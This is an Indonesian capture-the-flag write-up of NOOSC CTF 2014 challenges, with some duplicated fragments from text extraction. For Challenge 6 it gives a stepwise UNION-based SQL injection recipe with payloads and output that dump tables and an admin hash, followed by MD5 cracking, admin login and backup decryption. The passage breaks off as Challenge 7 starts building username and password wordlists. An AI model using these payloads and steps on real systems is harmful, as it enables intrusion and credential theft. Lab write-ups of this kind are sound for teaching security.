CTF Noosc 2014 Write Up

Terlihat bahwa flagnya adalah FrAMbbqwi8l2Fq7iiZcvyS

Challenge 6 NOOSC CTF 2014:Perhitungan Cepat (Quick Count) Skenario Pemungutan suara baru saja selesai dilakukan. Penyelenggara Pemilu menyediakan sebuah aplikasi berbasis web untuk melihat hasil quick count atau hasil sementara perhitungan Pemilu. Ditengarai sistem quick count telah disusupi oleh cracker melalui bug berjenis "code injection". Cracker telah mengubah data quick count berikut username dan password administrator aplikasi. Untungnya penyelenggara Pemilu sudah melakukan prosedur backup file secara reguler yang diamankan dengan enkripsi tertentu. Karena username dan password telah diganti, Anda diminta untuk masuk ke sistem quick count dengan cara yang dipakai oleh si cracker, untuk kemudian mengakses backup data quick count dan mengambil 'kode khusus' yang menunjukkan keaslian file backup tersebut. Challenge Anda diminta untuk membantu mendapatkan file backup tersebut, dan melaporkan 'kode khusus' (flag) ke Penyelenggara Pemilu. http://bx5166.ctf.noosc.co.id:8080/ Solusi Kita buka URL tersebut di browser untuk melihat seperti apa webnya:

Pertama kita cari dulu: method mana yang bisa kita pakai untuk sql injection. Sepertinya tidak ada request yang penting, kecuali data.php. Mungkin request dilakukan via javascript jadi kita liat dulu javascriptnya.

Var  _0x9d51=["\x76\x69\x73\x75\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E","\x31","\x63\x6F\x72\x65\x63\x68\x61\x72 \x74","\x6C\x6F\x61\x64","\x73\x65\x74\x4F\x6E\x4C\x6F\x61\x64\x43\x61\x6C\x6C\x62\x61\x63\x6B","\x72\x6 5\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x64\x61\x74\x61\x2E\x70\x68\x70","\x6A\x73\x6F\x6E","\x61\x6 A\x61\x78","\x63\x68\x61\x72\x74\x5F\x64\x69\x76","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\ x64","\x64\x72\x61\x77","\x70\x61\x72\x61\x6d\x73\x3d\x77\x6f\x70\x73"];

Ada sesuatu yang tersembunyi di sini. Pergi ke JavaScript console. Hilangkan bagian var  _0x9d51=: ["\x76\x69\x73\x75\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E","\x31","\x63\x6F\x72\x65\x63\x68\x61\x72\x74","\x6 C\x6F\x61\x64","\x73\x65\x74\x4F\x6E\x4C\x6F\x61\x64\x43\x61\x6C\x6C\x62\x61\x63\x6B","\x72\x65\x73\x70\ x6F\x6E\x73\x65\x54\x65\x78\x74","\x64\x61\x74\x61\x2E\x70\x68\x70","\x6A\x73\x6F\x6E","\x61\x6A\x61\x78 ","\x63\x68\x61\x72\x74\x5F\x64\x69\x76","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x64\ x72\x61\x77","\x70\x61\x72\x61\x6d\x73\x3d\x77\x6f\x70\x73"];

Hasilnya:

["visualization", "1", "corechart", "load", "setOnLoadCallback", "responseText", "data.php", "json", "ajax", "chart_div", "getElementById", "draw", "params=wops"]

Ada satu bagian mencurigakan "params=wops", Tapi apakah ini dipakai? sisa javascriptnya dibuat membingungkan. google[_0x9d51[3]](_0x9d51[0],_0x9d51[1],{"\x70\x61\x63\x6B\x61\x67\x65\x73":[_0x9d51[2]]});google[_0x9d5 1[4]](drawChart);function 1[4]](drawChart);function drawChart(){var  _0x4042x2=$[_0x9d51[8]]({url:_0x9d51[6],dataType:_0x9d51[7],asy  _0x4042x2=$[_0x9d51[8]]( {url:_0x9d51[6],dataType:_0x9d51[7],async:false})[_0x9d51[5]]; nc:false})[_0x9d51[5]]; var _0x4042x3= new google[_0x9d51[0]].DataTable(_0x4042x2);; var _0x4042x4= new google[_0x9d51[0]].PieChart(document[_0x9d51[10]](_0x9d51[9])); google[_0x9d51[0]].PieChart(document[_0x9d51[10]](_0x9d51[9]));  _0x4042x4[_0x9d51[11]](_0x4042x3,{width:900,height:650});}  _0x4042x4[_0x9d51[11]]( _0x4042x3,{width:900,height:650});} ;

Karena kodenya sangat pendek, saya putuskan menggunakan cara semi manual untuk decodenya menggunakan python (saya hanya mengetik langsung ini di interpreter python). Intinya adalah mengubah string "_0x9d51[n]" dengan nilai  _0x9d51[n]: >> x = ["visualization", "1", "corechart", "load", "setOnLoadCallback", "responseText", "data.php", "json", "ajax", "chart_div", "getElementById", "draw", "params=wops"] >> y = 'google[_0x9d51[3]](_0x9d51[0],_0x9d51[1],{"\x70\x61\x63\x6B\x61\x67\x65\x73":[_0x9d51[2]]});google[_0x9d 51[4]](drawChart);function 51[4]](drawChart);func tion drawChart(){var  _0x4042x2=$[_0x9d51[8]]({url:_0x9d51[6],dataType:_0x9d51[7],asyn  _0x4042x2=$[_0x9d51[8]]({u rl:_0x9d51[6],dataType:_0x9d51[7],async:false})[_0x9d51[5]];var c:false})[_0x9d51[5]];var _0x4042x3= _0x4042x3= new google[_0x9d51[0]].DataTable(_0x4042x2);;var google[_0x9d51[0]].DataTable(_0x404 2x2);;var _0x4042x4= new google[_0x9d51[0]].PieChart(document[_0x9d51[10]](_0x9d51[ google[_0x9d51[0]].PieChart(docum ent[_0x9d51[10]](_0x9d51[9]));_0x4042x4[_0x9d51[ 9]));_0x4042x4[_0x9d51[11]](_0x4042x3,{width: 11]](_0x4042x3,{width: 900,height:650});} ; ' >> for i in range(0,len(x)): y = y.replace("_0x9d51[%d]" % i, x[i]) >>y google[load](visualization,1,{"packages":[corechart]});google[setOnLoadCallback](drawChart);function drawChart(){var _0x4042x2=$[ajax]({url:data.php,dataType:json,async:false})[responseText];var _0x4042x3= new google[visualization].DataTable(_0x4042x2);;var _0x4042x4= new google[visualization].PieChart(document[getElementById](chart_div));_0x4042x4[draw](_0x4042x3,{width:900,he ight:650});} ;

Ternyata 'param=wops' tidak dipakai sama sekali di Javascriptnya. Kita coba cara lain. Kita lihat data.php merupakan sumber data untuk chart.

Saya copykan ini sebagai command line curl supaya gampang saya edit:

curl 'http://bx5166.ctf.noosc.co.id:8080/data.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

{ "cols": [ {"id":"","label":"Topping","pattern":"","type":"string"}, {"id":"","label":"Slices","pattern":"","type":"number"} ], "rows": [ {"c":[{"v":"Partai Caesar","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Troy","f":null},{"v":4,"f":null}]}, {"c":[{"v":"Partai Petra","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Dorado","f":null},{"v":5,"f":null}]}, {"c":[{"v":"Partai Memphis","f":null},{"v":2,"f":null}]}, {"c":[{"v":"Partai Angkor","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Pompeii","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Machupichu","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Gibraltar","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Java","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Celebes","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Borneo","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Soenda-eilan","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Molukke","f":null},{"v":3,"f":null}]}, {"c":[{"v":"Partai Papoea","f":null},{"v":2,"f":null}]}, {"c":[{"v":"Partai Sumatra","f":null},{"v":1,"f":null}]}, {"c":[{"v":"Partai Maleisie","f":null},{"v":1,"f":null}]} ], "csrftoken_id": "uxevOj1d2CCUVUY", "csrftoken_val": "650e9f0648fc5b1083837982f "650e9f0648fc5b1083837982fd7524a1d002b60f317077b82f4e04f d7524a1d002b60f317077b82f4e04f1a022053e", 1a022053e", "next_url": "data2.php", "msg": "" }

Perhatikan next_url, ada data2.php, mari kita coba ke sana curl 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhs PHPSESSID=ve4d9k16kf9aug537ghhsreji0' reji0' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya kosong. Berarti perlu kita cek dengan -v untuk menampilkan header. Sekarang hasilnya

 curl -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed < HTTP/1.1 302 Found < Date: Thu, 03 Apr 2014 06:55:16 GMT * Server Apache/2.2.22 (Debian) is not blacklisted < Server: Apache/2.2.22 (Debian) < X-Powered-By: PHP/5.4.4-14+deb7u8 < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 < Pragma: no-cache < location: data.php

Wah ternyata kita diredirect ke alamat baru. Curl secara default tidak mengikuti redirect, jadi kita tambahkan opsi -L, supaya curl mengikuti redirect curl -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Perhatikan msg di bagian terakhir: "csrftoken_id": "4xDfOz4hqeCt9gB", "csrftoken_val": "8c745749c4f7d4e9b30166c9a215 "8c745749c4f7d4e9b30166c9a2150bd6d761056a5cc8ee553e7135a 0bd6d761056a5cc8ee553e7135ac88b9a168", c88b9a168", "next_url": "data2.php", "msg": "Metode tidak sesuai. Token tidak sesuai. " }

Perhatikan pesan ini: "Method tidak sesuai, token tidak sesuai." Ada dua kesalahan katanya "method tidak sesuai" (kita memakai get) dan "token tidak sesuai". Pertama: kita coba dulu du lu selesaikan masalah "method tidak sesuai". Karena sudah mencoba GET, kita coba post. Tapi data apa yang akan kita kirimkan? tadi ada params=wops, kemungkinan kita bisa mengeset wops dengan suatu nilai. Kita coba saja: curl -d 'wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' PHPSESSID=ve4d9k16kf9aug537ghhsre ji0' -H 'Accept-Encoding: gzip, deflate,sdch' -H 'Accept-Language: enUS,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Sekarang pesan yang keluar: "csrftoken_id": "bqB2pxsHrWleB3Z", "csrftoken_val": "a783df02af6ebc4e593757a7a "a783df02af6ebc4e593757a7a817485fa13736deb4a262124b7d 817485fa13736deb4a262124b7d689cd55532e1", 689cd55532e1", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Sekarang masalah token: katanya token tidak sesuai, token apa kira-kira yang dimaksud? oh lihat ada 'csrftoken_id' dan 'csrftoken_val'. coba kita kirimkan balik ke data2.php: curl -d 'csrftoken_id=bqB2pxsHrWleB3Z&csrftoken_val=a783df02af6ebc4e593757a7a8 'csrftoken_id=bqB2pxsHrWleB3Z&csrf token_val=a783df02af6ebc4e593757a7a817485fa13736deb4a262124b7d68 17485fa13736deb4a262124b7d68 9cd55532e1&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' PHPSESSID=ve4d9k16kf9aug537ghh sreji0' -H 'Accept-Encoding: gzip, deflate,sdch' -H 'Accept-Language: enUS,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Wah katanya "Token tidak sesuai", dan tokennya ganti lagi. "csrftoken_id": "R4AaQQtQetOXlHd", "csrftoken_val": "6c5cc68ccd877b48a77d32635f "6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481c d0911332ac778592d9162924481cfa67798233", fa67798233", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Biasanya ketika memprogram proteksi untuk CSRF, kita cuma butuh valuenya aja dengan nama variabel tetap, misalnya 'cstf=TOKEN' Kenapa di sini ada csrftoken_id dan csrftoken_val? Oh sepertinya kita harus mengirimkan: csrftoken_id=csrftoken_val. curl -d 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa67798233&wops=1' 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa6779823 3&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'AcceptEncoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya

"csrftoken_id": "q4kH2tX065UX3qw", "csrftoken_val": "258aa2acf2640c6754c923ca1 "258aa2acf2640c6754c923ca1489f24da2481c502fe1a8eefe 489f24da2481c502fe1a8eefe18fe0758b7a1e6", 18fe0758b7a1e6", "next_url": "data2.php", "msg": "Data tidak ditemukan" }

Lihat: pesannya berubah: data tidak ditemukan. Tokennya pun berubah. Kita coba apakah kita  bisa menggunakan ulang tokennya: curl -d 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa67798233&wops=1' 'R4AaQQtQetOXlHd=6c5cc68ccd877b48a77d32635fd0911332ac778592d9162924481cfa6779823 3&wops=1' -L -v 'http://bx5166.ctf.noosc.co.id:8080/data2.php' -H 'Cookie: PHPSESSID=ve4d9k16kf9aug537ghhsreji0' -H 'AcceptEncoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: http://bx5166.ctf.noosc.co.id:8080/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' --compressed

Hasilnya: "csrftoken_id": "BzJCEVOYv73ZFD0", "csrftoken_val": "8143b4f8212c09539713ab81db7f "8143b4f8212c09539713ab81db7f67126010d05cfb987e45aceaa 67126010d05cfb987e45aceaa45200699e1b", 45200699e1b", "next_url": "data2.php", "msg": "Token tidak sesuai. " }

Wah ternyata tidak boleh. Kita bisa saja mengupdate parameter tiap kali merequest, tapi ini akan terlalu lama, saatnya membuat skrip kecil: import pycurl from StringIO import StringIO import json import sys c = pycurl.Curl() storage = StringIO() cookie = 'PHPSESSID=ve4d9k16kf9aug537ghhsreji0' c.setopt(c.URL, 'http://bx5166.ctf.noosc.co.id:8080/data.php') c.setopt(c.COOKIE, cookie) c.setopt(c.VERBOSE, True) c.setopt(c.WRITEFUNCTION, storage.write) r = c.perform() content = storage.getvalue() all = json.loads(content) c.reset()

storage = StringIO() c.setopt(c.URL, 'http://bx5166.ctf.noosc.co.id:8080/data2.php') c.setopt(c.COOKIE, cookie) c.setopt(c.VERBOSE, True) c.setopt(pycurl.FOLLOWLOCATION, 1)

 posts = [ (str(all['csrftoken_id']), str(all['csrftoken_val'])), str(all['csrftoken_val'])), ('wops',sys.argv[1]) ] c.setopt(c.HTTPPOST, posts); c.perform()

Untuk memakainya, perlu package pycurl untuk python. Berikutnya skrip bisa dijalankan dengan:  python get.py "parameter-untuk-wops"

Dari pesan error "Tidak ditemukan" kita bisa membayangkan querynya mungkin seperti ini: "select namakolom from namatabel where namakolomlain=" + wops

Mungkin nilai wopsnya salah sehingga tidak ditemukan. Saya coba-coba berbagai query yang gagal:  python get.py admin  python get.py "'"  python get.py "select * from users"  python get.py "Partai Sumatra"  python get.py "Troy"  python get.py "1"  python get.py "2"  python get.py ""  python get.py "' or 1='1"  python get.py "data.php"  python get.py "Partai Troy"  python get.py "Partai '"  python get.py "'"  python get.py "11231"  python get.py "list"

Bagaimana caranya supaya ada datanya? Ah bodoh sekali saya, query semacam ini harusnya  berhasil "0 or 1=1", dengan ini maka 1=1 akan selalu true.  python get.py "0 or 1=1"

Lihat hasilnya: "next_url": "data2.php", "msg": "1394126387"

 }

Wah sekarang ada hasilnya. Saya coba lagi query yang lebih sederhana, di mysql 1 adalah true,  jadi 1=1 bisa diganti dengan '1' saja (mysql ini hanya tebakan mengingat servernya Linux):  python get.py "0 or 1"

Lihat hasilnya masih bisa: "next_url": "data2.php", "msg": "1394126387" }

Sekarang kita coba union dengan angka 1 sekedar untuk mengetes berapa jumlah kolom dalam  bagian select Ada kemungkinan kolom di bagian select lebih dari satu, kira2 seperti ini: "select namakolom1,namakolom2,namakolom3 from namatabel where namakolomlain=" + wops

Jadi kita coba  python get.py "0 or 1 UNION SELECT 1"

Wah sekarang kembali lagi: "Data tidak ditemukan"  python get.py "0 or 1 union select 1,2"

masih gagal  python get.py "0 or 1 union select 1,2,3"

masih gagal juga  python get.py "0 or 1 union select 1,2,3,4"

Berhasil, datanya muncul lagi walau masih angka yang sama. Sekarang saatnya mencoba mengekstrak data, kita coba apakah kita bisa menggunakan "limit":  python get.py "0 or 1 union select 1,2,3,4 limit 1"

Ternyata bisa: "csrftoken_id": "SqGVl8LPGm4yC3B", "csrftoken_val": "db5eb6e5f20a6b8a2f8502d86e "db5eb6e5f20a6b8a2f8502d86e5db04c0bacaf738addc6c23 5db04c0bacaf738addc6c238da51c20af94b90", 8da51c20af94b90", "next_url": "data2.php", "msg": "1394126387" }

Tapi kita butuh data di row berikut (hasil union), jadi kita beri offset:  python get.py "0 or 1 union select 1,2,3,4 limit 1 offset 1"

Eh hasilnya masih sama : "csrftoken_id": "DdP6JM7AX0CbKur", "csrftoken_val": "fe629214632eadfc33aced69ce "fe629214632eadfc33aced69cebf5f447f8065c3aa6e5 bf5f447f8065c3aa6e564178541faae5ea0a7e 64178541faae5ea0a7e", ", "next_url": "data2.php", "msg": "1394126387" }

Coba offset berikutnya:  python get.py "0 or 1 union select 1,2,3,4 limit 1 offset 2":

Berhasil "csrftoken_id": "5A9xTZ9romYPGtM", "csrftoken_val": "ca9b8591f1d666cd42f776e603a "ca9b8591f1d666cd42f776e603a5dd7686a762a75957e5808811c 5dd7686a762a75957e5808811c7d45e33150f", 7d45e33150f", "next_url": "data2.php", "msg": "4" }

Ok berhasil, jadi yang ditampilkan di msg adalah kolom ke 4. Sekarang kita bisa menggunakan query standar untuk mendapatkan namat abel. Sekarang test apakah ini mysql (tebakan saya karena PHP di Linux kebanyakan memakai Mysql):  python get.py "0 or 1 union select 1,2,3,version() limit 1 offset 2"

Hasilnya "next_url": "data2.php", "msg": "5.5.35-0+wheezy1" }

Ini pertanda databasenya adalah mysql m ysql versi 5.5 Dari nomor versi saja kita bisa tahu karena  postgres dan yang lain akan menghasilkan string yang berbeda. Ok, saatnya mencari tahu nama tabel yang ada.  python get.py "0 or 1 union (select 1,2,3,table_name from information_schema.tables where table_type='base table') limit 1 offset 2" Hasil: config  python get.py "0 or 1 union (select 1,2,3,table_name from information_schema.tables where table_type='base table' limit 1 offset 1) limit 1 offset 2" Hasil: inject

Argh ini bisa lama, kita bisa memakai group_concat di mysql:  python get.py "0 or 1 union (select 1,2,3,group_concat(table_name separator '|') from information_schema.tables information_schema.tables where table_type='base table') limit 1 offset 2"

Hasilnya: "msg": "config|inject|n1mbusadmin"

Ok jadi ada 3 tabel config, inject, dan n1mbusadmin. Sekarang kita cek kolomnya. Kita bisa satu  per satu seperti ini:  python get.py "0 or 1 union (select 1,2,3,column_name from information_schema.columns where table_name='n1mbusadmin' limit 1 offset 0) limit 1 offset 2"

Atau kita gunakan trik group_concat yang sama:  python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator separator '|') from information_schema.columns where table_name='n1mbusadmin') limit 1 offset 2"

Hasilnya: "msg": "op|admin_id|admin_pass" Jadi tabel n1mbusadmin punya 3 field, op, admin_id,

dan  pass

Sementara tabel config:  python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator separator '|') from information_schema.columns where table_name='config') limit 1 offset 2"

Hasilnya: "msg": "admin_url"

Cuma punya satu kolom: admin_url Terakhir kita cek tabel inject:  python get.py "0 or 1 union (select 1,2,3,group_concat(column_name separator separator '|') from information_schema.columns where table_name='inject') limit 1 offset 2"

Sepertinya tidak penting: "msg": "op|point|ip|tm"

Ok sekarang kita liat isi tabelnya. Dimulai dari tabel config. Kita bisa cek isi fieldnya satu per satu:  python get.py "0 or 1 union (select 1,2,3,admin_url from config) limit 1 offset 2" .... "msg": "/1n1admbr0"

untuk usernya kita ambil dari n1mbusadmin:  python get.py "0 or 1 union (select 1,2,3,admin_id from n1mbusadmin) limit 1 offset 2" .... "msg": "backupuser"  python get.py "0 or 1 union (select 1,2,3,admin_pass from n1mbusadmin) limit 1 offset 2" ... "msg": "7cd1e06ab1df492e6a7e710 " 7cd1e06ab1df492e6a7e710d98a02d5b" d98a02d5b"

Atau sebenarnya bisa langsung keduanya  python get.py "0 or 1 union (select 1,2,3,concat(op,'-',admin_id,'-',admin_pass) from n1mbusadmin) limit 1 offset 2" ... "msg": "1-backupuser-7cd1e06ab1df "1-backupuser-7cd1e06ab1df492e6a7e710d98a02d5b" 492e6a7e710d98a02d5b"

Jadi usernamenya backupuser, passwordnya 7cd1e06ab1df492e6a7e710d98a02d5b. Kita coba pergi ke

http://bx5166.ctf.noosc.co.id:8080/1n1admbr0

Dan kita masukkan backupuser  sebagai  sebagai usernamenya dan 7cd1e06ab1df492e6a7e710d98a02d5b sebagai  passwordnya, maka kita balik lagi ke halaman login. Ternyata passwordnya salah, dari  panjangnya, ini adalah hasil hash. Jadi kita coba cari di website yang menyediakan layanan hash cracking. Hasil pertama dan kedua di browser saya untuk "md5 hash cracking" adalah http://www.md5decrypter.co.uk/ dan https://crackstation.net/ https://crackstation.net/.. Untungnya yang pertama berhasil: m4ntapbr0 Kita coba login lagi:

Dan berhasil. Sekarang kita download file backupnya.

Ternyata ini file .tar.gz, kita extract saja: Ada 3 file di dalamnya: yohanes@sophie:~$ tar -xf 103d697fb502c96eb89f376abfe3ecdf63bb77a6.tar.gz 103d697fb502c96eb89f376abfe3ecdf63bb77a6.tar.gz yohanes@sophie:~$ cd data yohanes@sophie:~/data$ ls -l total 16 -rw-r--r-- 1 yohanes yohanes 4550 Mar 18 08:49 data.sql.enc -rw-r--r-- 1 yohanes yohanes yohanes 13 Mar 18 08:50 key.txt -rw-r--r-- 1 yohanes yohanes 2049 Mar 27 05:24 Readme.txt

Isi file Readme.txt sepertinya ngawur saja. Isi file key.txt hanya satu baris saja laut_dibalik. Sementara isi data.sql.enc diencode dengan base64. Ini bisa terlihat dari jumlah baris per karakter, dan bahwa file tersebut hanya terdiri dari huruf, angka dan beberapa simbol saja. Bagian depan filenya seperti ini: U2FsdGVkX1/FvTZvFmlQjeB4TMhpodxdNZQS00cMf/z6AVVlLGsOPZZx+FZI9bMs ixFls/rlaTcifIbfS2bPsjyhdf0vrYYGd5+wOiM8/iKVdlm2bGLcxmJcymiZP0M2 i+ZjWzJM+ih/ky0Wla0FVAwemcsDU6r5qM0LNQ4lzbZDbvA5IHlVKks5d/krZMF9

Kita decode dulu filenya: cat data.sql.enc | base64 -d > hasil.txt

(catatan: di OSX, gunakan -D, bukan -d) File apa ini? Jika dicoba dibuka dengan text editor, akan muncul karakter-karakter aneh, kita coba gunakan perintah "file": $ file hasil.txt hasil.txt: data

Tidak membantu sama sekali. Tapi perhatikan di d i bagian awal file ada Salted__ . Kita google dulu "Salted__", pertama ketemu ini: http://hustoknow.blogspot.com/2013/02/openssl-encryption-libraries-add-salted.html

Isinya cuma singkat: "When you encrypted encr ypted data with a password using openssl open ssl command line, the first 16 bytes of the output are actually a header of the form 'Salted__XXXXXXXX' where the last 8 bytes represent the salt used to derive the key and the IV. " Oh jadi ini ada hubungannya dengan openssl, kita cari dengan kata kunci baru: "openssl salted__  base64 decrypt"

Hasil pencarian menunjukkan saya ke halaman ini: http://www.madboa.com/geek/openssl/ Setelah membaca-baca, ketemu perintah ini: openssl enc -d -aes-256-cbc -a -salt -in data.sql.enc

Ketikkan password laut_dibalik , dan berhasil keluar outputnnya Lihat di bagian akhir output: -- Dump completed on 2014-03-18 8:41:35 -- flag:h4ppy_1nj3ct_br0

Ketemu flagnya.

Challenge 7 NOOSC CTF 2014:Rekapitulasi 2014:Rekapitulasi Suara Skenario Perhitungan suara manual di masing-masing daerah baru saja selesai dilakukan. Untuk  perhitungan suara secara nasional, Penyelenggara Pemilu menyediakan sebuah aplikasi client khusus yang digunakan oleh tim di daerah untuk mengirimkan hasil perhitungan suara manual masing-masing melalui Internet. Aplikasi client tersebut mengirimkan data ke pusat melalui web-service yang deskripsi layanannya berada di http://fx72657.ctf.noosc.co.id:8080/?wsdl Request ke web-service memerlukan token khusus, yang bisa didapatkan setelah login dengan menggunakan username dan password. Username adalah salah satu kata yang ada di http://www.noosc.co.id/sme/,,  dan password adalah salah satu kata yang ada di http://www.noosc.co.id/sme/ http://www.noosc.co.id/trainings/..  Ditengarai hacker sudah melakukan penyusupan ke dalam http://www.noosc.co.id/trainings/ server aplikasi, dan memberikan hak akses khusus ke IP komputernya agar dia bisa masuk dan mengubah-ubah hasil real count pemungutan suara. Berdasarkan log, hacker diduga masuk menggunakan bug jenis blind-sql injection yang ada di salah satu web service. Percobaan eksploitasi di log terlihat terjadi dalam waktu singkat, sehingga melahirkan kesimpulan bahwa hacker mungkin mengeksploitasi bug ini dengan menggunakan tool open source yang sudah ditambahkan kemampuan tampering khusus agar dapat mengirimkan request terenkripsi dalam format yang disyaratkan oleh web service yang dituju. Challenge Anda diminta untuk masuk ke aplikasi dengan cara yang ditempuh oleh hacker, lalu mencari IP address (flag) yang sudah dimasukkannya ke database aplikasi. Solusi Soalnya dan petunjuknya jelas sekali. Sudah lama saya tidak menyentuh SOAP/WSDL, tapi setelah baca wikipedia beberapa menit, ilmu saya sudah refresh lagi.

https://en.wikipedia.org/wiki/Web_Services_Description_Language Kita cek dulu method apa saja yang disediakan oleh WSDL ini:

Ok, sepertinya method Login itu yang kita cari di tahap paling awal (sesuai petunjuk p etunjuk Request ke web-service memerlukan token khusus, yang bisa didapatkan setelah login dengan menggunakan ): username dan password ): Bagaimana mendapatkan username dan passwordnya? petunjuknya cukup jelas. "Username adalah salah satu kata yang ada di http://www.noosc.co.id/sme/ http://www.noosc.co.id/sme/,, dan password adalah salah satu kata yang ada di http://www.noosc.co.id/trainings/ http://www.noosc.co.id/trainings/.." Username ada di sini http://www.noosc.co.id/sme/ Dan password ada di sini: http://www.noosc.co.id/trainings/ Saya download halamannya, parse menjadi daftar kata-kata: wget http://www.noosc.co.id/sme/ -O users.html export IFS=" -\![]<>'" for i in `cat users.html`; do echo $i; done|sort -u > users.txt wget http://www.noosc.co.id/trainings/ -O passwords.html for i in `cat passwords.html`; do echo $i; done|sort -u > passwords.txt

